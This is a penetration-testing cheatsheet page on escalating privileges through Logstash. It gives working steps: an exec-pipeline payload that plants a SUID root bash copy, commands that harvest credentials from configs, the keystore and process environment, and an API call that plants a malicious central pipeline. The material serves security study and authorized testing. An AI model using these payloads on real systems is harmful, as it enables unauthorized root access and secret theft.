daemon-sec-cheatsheet

The cheatsheet vault for operators: AD, enumeration, exploitation, priv-esc, web, DFIR
git clone https://git.daemon-sec.xyz/daemon-sec-cheatsheet.git
Log | Files | Refs | README | LICENSE

logstash.md (12093B)


      1 ---
      2 title: "Logstash Privilege Escalation"
      3 section: "Linux"
      4 sectionSlug: "linux-hardening"
      5 sourcePath: "src/linux-hardening/software-information/logstash.md"
      6 sourceUrl: "https://github.com/HackTricks-wiki/hacktricks/blob/188de82beb54e70956b2952367a0af91d26758b8/src/linux-hardening/software-information/logstash.md"
      7 sha: "188de82beb54e70956b2952367a0af91d26758b8"
      8 isIndex: false
      9 modified: true
     10 license: "CC-BY-NC-4.0"
     11 ---
     12 
     13 # Logstash Privilege Escalation
     14 
     15 ## Logstash
     16 
     17 Logstash is used to **gather, transform, and dispatch logs** through a system known as **pipelines**. These pipelines are made up of **input**, **filter**, and **output** stages.<sup>[[4]](#references)</sup> An interesting aspect arises when Logstash operates on a compromised machine.
     18 
     19 ### Pipeline Configuration
     20 
     21 On Debian and RPM package installs, pipelines are configured via **/etc/logstash/pipelines.yml**, which lists the locations of the pipeline configurations; other distributions place `pipelines.yml` in the Logstash `path.settings` directory.<sup>[[5]](#references)[[6]](#references)</sup>
     22 
     23 ```yaml
     24 # Define your pipelines here. Multiple pipelines can be defined.
     25 # For details on multiple pipelines, refer to the documentation:
     26 # https://www.elastic.co/guide/en/logstash/current/multiple-pipelines.html
     27 
     28 - pipeline.id: main
     29   path.config: "/etc/logstash/conf.d/*.conf"
     30 - pipeline.id: example
     31   path.config: "/usr/share/logstash/pipeline/1*.conf"
     32   pipeline.workers: 6
     33 ```
     34 
     35 This file reveals where the **.conf** files containing pipeline configurations are located. When using an **Elasticsearch output**, inspect its `user`/`password`, `cloud_auth`, or `api_key` settings; the account's effective privileges depend on Elasticsearch. A `path.config` glob loads every matching file for that pipeline.<sup>[[6]](#references)[[7]](#references)[[11]](#references)</sup>
     36 
     37 If Logstash is started with `-f <directory>` instead of `pipelines.yml`, `-f` takes precedence and **all files inside that directory are concatenated in lexicographical order and parsed as a single config**.<sup>[[6]](#references)[[7]](#references)</sup> This creates 2 offensive implications:
     38 
     39 - A dropped file like `000-input.conf` or `zzz-output.conf` can change how the final pipeline is assembled
     40 - A malformed file can make the combined config fail validation; during reload, Logstash retains the previous pipeline, so validate payloads before relying on auto-reload.<sup>[[1]](#references)</sup>
     41 
     42 ### Fast Enumeration on a Compromised Host
     43 
     44 On a box where Logstash is installed, quickly inspect:
     45 
     46 ```bash
     47 ps aux | grep -i logstash
     48 systemctl cat logstash 2>/dev/null
     49 cat /etc/logstash/pipelines.yml 2>/dev/null
     50 cat /etc/logstash/logstash.yml 2>/dev/null
     51 find /etc/logstash /usr/share/logstash -maxdepth 3 -type f \( -name '*.conf' -o -name 'logstash.yml' -o -name 'pipelines.yml' \) -ls
     52 rg -n --hidden -S 'password|passwd|api[_-]?key|cloud_auth|ssl_keystore_password|truststore_password|user\s*=>|hosts\s*=>' /etc/logstash /usr/share/logstash 2>/dev/null
     53 ```
     54 
     55 Also check whether the local monitoring API is reachable. By default it binds on **127.0.0.1:9600**, which is usually enough after landing on the host.<sup>[[8]](#references)</sup>
     56 
     57 ```bash
     58 curl -s http://127.0.0.1:9600/?pretty
     59 curl -s http://127.0.0.1:9600/_node/pipelines?pretty
     60 curl -s http://127.0.0.1:9600/_node/stats/pipelines?pretty
     61 ```
     62 
     63 These endpoints expose pipeline IDs and settings, runtime metrics, and config-reload success/failure counters, helping confirm whether a change was accepted.<sup>[[8]](#references)[[17]](#references)[[18]](#references)</sup>
     64 
     65 If a recovered credential targets **Elasticsearch**, check [this other page about Elasticsearch](/hacktricks/network-services-pentesting/9200-pentesting-elasticsearch).
     66 
     67 ### Privilege Escalation via Writable Pipelines
     68 
     69 To attempt privilege escalation, first identify the user under which the Logstash service is actually running; do not assume it is root or the **logstash** user. Ensure you meet **one** of these criteria:
     70 
     71 - Possess **write access** to a pipeline **.conf** file **or**
     72 - The **/etc/logstash/pipelines.yml** file uses a wildcard, and you can write to the target folder.<sup>[[6]](#references)[[7]](#references)</sup>
     73 
     74 Additionally, **one** of these conditions must be fulfilled:
     75 
     76 - Capability to restart the Logstash service **or**
     77 - The **/etc/logstash/logstash.yml** file has **config.reload.automatic: true** set.<sup>[[1]](#references)[[15]](#references)</sup>
     78 
     79 Given a wildcard in the configuration, creating a file that matches this wildcard allows for command execution.<sup>[[7]](#references)[[9]](#references)</sup> For instance:
     80 
     81 ```bash
     82 input {
     83   exec {
     84     command => "whoami"
     85     interval => 120
     86   }
     87 }
     88 
     89 output {
     90   file {
     91     path => "/tmp/output.log"
     92     codec => rubydebug
     93   }
     94 }
     95 ```
     96 
     97 Here, **interval** determines the execution frequency in seconds. In the given example, the **whoami** command runs every 120 seconds, with its output directed to **/tmp/output.log**.<sup>[[9]](#references)</sup>
     98 
     99 With **config.reload.automatic: true** in **/etc/logstash/logstash.yml**, Logstash will automatically detect and apply new or modified pipeline configurations without needing a restart.<sup>[[1]](#references)[[15]](#references)</sup> If there's no wildcard, modifications can still be made to existing configurations, but caution is advised to avoid disruptions.
    100 
    101 ### More Reliable Pipeline Payloads
    102 
    103 The `exec` input plugin still works in current releases and requires either an `interval` or a `schedule`. It executes by **forking** the Logstash JVM, so if memory is tight your payload may fail with `ENOMEM` instead of silently running.<sup>[[9]](#references)</sup>
    104 
    105 When the service has sufficient privileges to create a root-owned SUID file, a practical privilege-escalation payload is one that leaves a durable artifact:
    106 
    107 ```bash
    108 input {
    109   exec {
    110     command => "cp /bin/bash /tmp/logroot && chown root:root /tmp/logroot && chmod 4755 /tmp/logroot"
    111     interval => 300
    112   }
    113 }
    114 output {
    115   null {}
    116 }
    117 ```
    118 
    119 If you don't have restart rights but can signal the process, Logstash also supports a **SIGHUP**-triggered reload on Unix-like systems:<sup>[[1]](#references)</sup>
    120 
    121 ```bash
    122 kill -SIGHUP $(pgrep -f logstash)
    123 ```
    124 
    125 Be aware that not every plugin is reload-friendly. For example, the **stdin** input prevents automatic reload, so don't assume `config.reload.automatic` will always pick up your changes.<sup>[[1]](#references)</sup>
    126 
    127 ### Stealing Secrets from Logstash
    128 
    129 Before focusing only on code execution, harvest the data Logstash already has access to:
    130 
    131 - Credentials may appear in `elasticsearch {}` outputs, `http_poller` URLs/settings, JDBC inputs, or cloud-related settings; these plugins expose credential fields worth searching for.<sup>[[11]](#references)[[12]](#references)[[13]](#references)</sup>
    132 - Secure settings may live in **`/etc/logstash/logstash.keystore`** or another `path.settings` directory.<sup>[[5]](#references)[[10]](#references)</sup>
    133 - The keystore password may be supplied through **`LOGSTASH_KEYSTORE_PASS`**, and RPM/DEB installs source service environment variables from **`/etc/sysconfig/logstash`**.<sup>[[10]](#references)</sup>
    134 - Environment-variable expansion with `${VAR}` is resolved at Logstash startup, so the service environment is worth inspecting.<sup>[[14]](#references)</sup>
    135 
    136 Useful checks:
    137 
    138 ```bash
    139 ls -l /etc/logstash /etc/logstash/logstash.keystore 2>/dev/null
    140 strings /etc/logstash/conf.d/*.conf 2>/dev/null | head
    141 tr '\0' '\n' < /proc/$(pgrep -o -f logstash)/environ 2>/dev/null | sort
    142 cat /etc/sysconfig/logstash 2>/dev/null
    143 journalctl -u logstash --no-pager 2>/dev/null | tail -n 200
    144 ls -lah /var/log/logstash 2>/dev/null
    145 ```
    146 
    147 This is also worth checking because **CVE-2023-46672** showed that, under specific circumstances, Logstash recorded sensitive information in its logs, including secrets stored in its keystore and referenced from configuration; review old Logstash logs and `journald` entries if those circumstances may apply.<sup>[[3]](#references)</sup>
    148 
    149 ### Centralized Pipeline Management Abuse
    150 
    151 In some environments, the host does **not** rely on local `.conf` files at all. If **`xpack.management.enabled: true`** is configured, Logstash can pull centrally managed pipelines from Elasticsearch/Kibana, and after enabling this mode local pipeline configs are no longer the source of truth.<sup>[[2]](#references)</sup>
    152 
    153 That means a different attack path:
    154 
    155 1. Recover Elastic credentials from local Logstash settings, the keystore, or logs.<sup>[[3]](#references)[[10]](#references)</sup>
    156 2. Verify whether the account has the **`manage_logstash_pipelines`** cluster privilege.<sup>[[16]](#references)</sup>
    157 3. Create or replace a centrally managed pipeline so the Logstash host executes your payload on its next poll interval.<sup>[[2]](#references)[[16]](#references)</sup>
    158 
    159 The Elasticsearch API used for this feature is:<sup>[[16]](#references)</sup>
    160 
    161 ```bash
    162 curl -X PUT http://ELASTIC:9200/_logstash/pipeline/pwned \
    163   -H 'Content-Type: application/json' \
    164   -u user:password \
    165   -d '{
    166     "description": "malicious pipeline",
    167     "last_modified": "2026-01-02T02:50:51.250Z",
    168     "username": "user",
    169     "pipeline": "input { exec { command => \"id > /tmp/.ls-rce\" interval => 120 } } output { null {} }",
    170     "pipeline_metadata": {"type": "logstash_pipeline", "version": "1"},
    171     "pipeline_settings": {
    172       "pipeline.workers": 1,
    173       "pipeline.batch.size": 1,
    174       "pipeline.batch.delay": 50,
    175       "queue.type": "memory",
    176       "queue.max_bytes": "1gb",
    177       "queue.checkpoint.writes": 1024
    178     }
    179   }'
    180 ```
    181 
    182 This is especially useful when local files are read-only but Logstash is already registered to fetch pipelines remotely.<sup>[[2]](#references)[[16]](#references)</sup>
    183 
    184 ## References
    185 
    186 - [1] [Elastic Docs: Reloading the Config File](https://www.elastic.co/guide/en/logstash/8.19/reloading-config.html)
    187 - [2] [Elastic Docs: Configure Centralized Pipeline Management](https://www.elastic.co/guide/en/logstash/8.19/configuring-centralized-pipelines.html)
    188 - [3] [Logstash 8.11.1 Security Update (ESA-2023-26) - CVE-2023-46672](https://discuss.elastic.co/t/logstash-8-11-1-security-update-esa-2023-26/347191)
    189 - [4] [Elastic Docs: Creating a Logstash Pipeline](https://www.elastic.co/docs/reference/logstash/creating-logstash-pipeline)
    190 - [5] [Elastic Docs: Logstash Directory Layout](https://www.elastic.co/docs/reference/logstash/dir-layout)
    191 - [6] [Elastic Docs: Multiple Pipelines](https://www.elastic.co/docs/reference/logstash/multiple-pipelines)
    192 - [7] [Elastic Docs: Running Logstash from the Command Line](https://www.elastic.co/docs/reference/logstash/running-logstash-command-line)
    193 - [8] [Elastic Docs: Monitoring Logstash with APIs](https://www.elastic.co/docs/reference/logstash/monitoring-logstash)
    194 - [9] [Elastic Docs: Exec input plugin](https://www.elastic.co/docs/reference/logstash/plugins/plugins-inputs-exec)
    195 - [10] [Elastic Docs: Secrets keystore for secure settings](https://www.elastic.co/docs/reference/logstash/keystore)
    196 - [11] [Elastic Docs: Elasticsearch output plugin](https://www.elastic.co/docs/reference/logstash/plugins/plugins-outputs-elasticsearch)
    197 - [12] [Elastic Docs: Http_poller input plugin](https://www.elastic.co/docs/reference/logstash/plugins/plugins-inputs-http_poller)
    198 - [13] [Elastic Docs: Jdbc input plugin](https://www.elastic.co/docs/reference/logstash/plugins/plugins-inputs-jdbc)
    199 - [14] [Elastic Docs: Using environment variables](https://www.elastic.co/docs/reference/logstash/environment-variables)
    200 - [15] [Elastic Docs: logstash.yml](https://www.elastic.co/docs/reference/logstash/logstash-settings-file)
    201 - [16] [Elasticsearch API: Create or update a Logstash pipeline](https://www.elastic.co/docs/api/doc/elasticsearch/operation/operation-logstash-put-pipeline)
    202 - [17] [Logstash API: Get settings for pipelines](https://www.elastic.co/docs/api/doc/logstash/operation/operation-nodeinfopipelines)
    203 - [18] [Logstash API: Get statistics for pipelines](https://www.elastic.co/docs/api/doc/logstash/operation/operation-nodestatspipelines)